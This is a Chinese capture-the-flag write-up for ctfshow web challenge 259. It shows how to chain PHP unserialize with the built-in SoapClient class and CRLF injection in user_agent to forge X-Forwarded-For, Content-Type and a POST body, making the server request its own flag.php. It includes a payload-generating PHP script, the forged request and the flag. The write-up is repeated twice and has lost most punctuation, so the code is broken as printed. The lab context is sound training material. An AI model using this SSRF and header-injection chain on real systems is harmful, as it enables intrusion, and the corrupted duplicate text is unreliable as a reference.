这是一道php反序列化和ssrf结合的题目先看题目给的提示这里的代码对 X-Forwarded-ForXFF头进行了两次 array_pop弹出尾部元素。意味着如果你的 XFF 头形如 127.0.0.1, 8.8.8.8第一次 pop 弹出 8.8.8.8第二次 pop 弹出的 $ip 就是 127.0.0.1。因此我们需要在请求 flag.php 时携带特定的 HTTP 请求头X-Forwarded-For: 127.0.0.1, 127.0.0.1然后就是题目主题部分了题目接收一个 GET 参数 vip 并对其进行反序列化接着调用了 $vip-getFlag();但是我们可以看到这里并没有定义getFlag()这个方法通过查询可以知道如果源码没给类的名字通常暗示我们要利用 PHP 的内置类。能够发起 HTTP 请求、并且经常在反序列化中被用来做 SSRF/触发特定方法的 PHP 内置类是SoapClientSoapClient 是 PHP 的内置类用于处理 SOAP 协议请求它有一个特性当调用一个 SoapClient 实例上不存在的方法时它会通过内置的 __call 魔术方法自动向配置的 location 发送一个 HTTP/POST 请求题目中调用的 $vip-getFlag()如果 $vip 是一个 SoapClient 对象由于它没有 getFlag 方法就会触发 __call从而自动向其指定的 URL 发送 POST 请求这完美契合了我们需要向 flag.php 发送 POST 请求的需求__call是当试图在一个对象上调用一个不存在或者不可访问的实例化方法时php不会直接报错崩溃而是会自动自动触发并执行该类中定义的__call()方法我们需要在本地写一个 PHP 脚本来生成给 vip 参数传参的序列化字符串。利用 SoapClient 伪造 POST 和 XFF 头SoapClient 的构造函数允许我们传入 location目标地址和 options配置项。我们可以利用 user_agent 配置项来注入换行符CRLF从而在发送请求时强行加入我们自定义的 X-Forwarded-For 头和 POST 数据下面是payload脚本?php// 1. 设置我们要让服务器内部访问的目标flag.php$targethttp://127.0.0.1/flag.php;// 2. 构造 POST 提交的数据$post_datatokenctfshow;// 3. 利用 user_agent 注入 CRLF (\r\n) 来伪造 Content-Type, XFF 头 和 Content-Length$user_agentWget/1.14 (linux-gnu)\r\n.X-Forwarded-For: 127.0.0.1, 127.0.0.1\r\n.Content-Type: application/x-www-form-urlencoded\r\n.Content-Length: .strlen($post_data).\r\n\r\n.$post_data;// 4. 实例化 SoapClienturi 可以随便填location 填目标地址$bnewSoapClient(null,array(location$target,urihttp://127.0.0.1/,user_agent$user_agent));// 5. 输出序列化后的字符串echourlencode(serialize($b));?我们在本地执行得到的这串就是被url编码后的序列化内容这是url编码前的样子当题目执行 $vip-getFlag() 时SoapClient 真正发送给 flag.php 的标准 HTTP 请求报文就会变成下面这样POST /flag.php HTTP/1.1Host: 127.0.0.1User-Agent: Wget/1.14 (linux-gnu)X-Forwarded-For: 127.0.0.1, 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 13tokenctfshow我们将url编码后的内容传给vip因为这里的X-Forwarded-For传入了两个值都是127.0.0.1通过了提示中的这个验证flag.php 的第二个限制是必须通过 POST 方式 提交 tokenctfshow根据 HTTP 协议规范连续两个换行即空一行后面的所有内容都会被识别为 POST 数据的正文Body你在 _user_agent 的末尾连续注入了两个换行然后紧跟了 tokenctfshow。同时为了让后端服务器知道后面有数据、有多少数据你还顺便伪造了Content-Type: application/x-www-form-urlencoded告诉服务器这是表单提交Content-Length: 13告诉服务器 POST 数据一共有 13 个字符长这样flag.php 在读取请求时不仅认为你是从本地合法的 IP 访问的还成功在 $_POST[‘token’] 中收到了 ctfshow 值最后就可以发起请求访问本地的flag.txt我们只需要访问flag.txt 就能拿到flagflag为ctfshow{3f303626-1446-4274-88f1-ad45ce2b1c58}
ctf show web入门259
这是一道php反序列化和ssrf结合的题目先看题目给的提示这里的代码对 X-Forwarded-ForXFF头进行了两次 array_pop弹出尾部元素。意味着如果你的 XFF 头形如 127.0.0.1, 8.8.8.8第一次 pop 弹出 8.8.8.8第二次 pop 弹出的 $ip 就是 127.0.0.1。因此我们需要在请求 flag.php 时携带特定的 HTTP 请求头X-Forwarded-For: 127.0.0.1, 127.0.0.1然后就是题目主题部分了题目接收一个 GET 参数 vip 并对其进行反序列化接着调用了 $vip-getFlag();但是我们可以看到这里并没有定义getFlag()这个方法通过查询可以知道如果源码没给类的名字通常暗示我们要利用 PHP 的内置类。能够发起 HTTP 请求、并且经常在反序列化中被用来做 SSRF/触发特定方法的 PHP 内置类是SoapClientSoapClient 是 PHP 的内置类用于处理 SOAP 协议请求它有一个特性当调用一个 SoapClient 实例上不存在的方法时它会通过内置的 __call 魔术方法自动向配置的 location 发送一个 HTTP/POST 请求题目中调用的 $vip-getFlag()如果 $vip 是一个 SoapClient 对象由于它没有 getFlag 方法就会触发 __call从而自动向其指定的 URL 发送 POST 请求这完美契合了我们需要向 flag.php 发送 POST 请求的需求__call是当试图在一个对象上调用一个不存在或者不可访问的实例化方法时php不会直接报错崩溃而是会自动自动触发并执行该类中定义的__call()方法我们需要在本地写一个 PHP 脚本来生成给 vip 参数传参的序列化字符串。利用 SoapClient 伪造 POST 和 XFF 头SoapClient 的构造函数允许我们传入 location目标地址和 options配置项。我们可以利用 user_agent 配置项来注入换行符CRLF从而在发送请求时强行加入我们自定义的 X-Forwarded-For 头和 POST 数据下面是payload脚本?php// 1. 设置我们要让服务器内部访问的目标flag.php$targethttp://127.0.0.1/flag.php;// 2. 构造 POST 提交的数据$post_datatokenctfshow;// 3. 利用 user_agent 注入 CRLF (\r\n) 来伪造 Content-Type, XFF 头 和 Content-Length$user_agentWget/1.14 (linux-gnu)\r\n.X-Forwarded-For: 127.0.0.1, 127.0.0.1\r\n.Content-Type: application/x-www-form-urlencoded\r\n.Content-Length: .strlen($post_data).\r\n\r\n.$post_data;// 4. 实例化 SoapClienturi 可以随便填location 填目标地址$bnewSoapClient(null,array(location$target,urihttp://127.0.0.1/,user_agent$user_agent));// 5. 输出序列化后的字符串echourlencode(serialize($b));?我们在本地执行得到的这串就是被url编码后的序列化内容这是url编码前的样子当题目执行 $vip-getFlag() 时SoapClient 真正发送给 flag.php 的标准 HTTP 请求报文就会变成下面这样POST /flag.php HTTP/1.1Host: 127.0.0.1User-Agent: Wget/1.14 (linux-gnu)X-Forwarded-For: 127.0.0.1, 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 13tokenctfshow我们将url编码后的内容传给vip因为这里的X-Forwarded-For传入了两个值都是127.0.0.1通过了提示中的这个验证flag.php 的第二个限制是必须通过 POST 方式 提交 tokenctfshow根据 HTTP 协议规范连续两个换行即空一行后面的所有内容都会被识别为 POST 数据的正文Body你在 _user_agent 的末尾连续注入了两个换行然后紧跟了 tokenctfshow。同时为了让后端服务器知道后面有数据、有多少数据你还顺便伪造了Content-Type: application/x-www-form-urlencoded告诉服务器这是表单提交Content-Length: 13告诉服务器 POST 数据一共有 13 个字符长这样flag.php 在读取请求时不仅认为你是从本地合法的 IP 访问的还成功在 $_POST[‘token’] 中收到了 ctfshow 值最后就可以发起请求访问本地的flag.txt我们只需要访问flag.txt 就能拿到flagflag为ctfshow{3f303626-1446-4274-88f1-ad45ce2b1c58}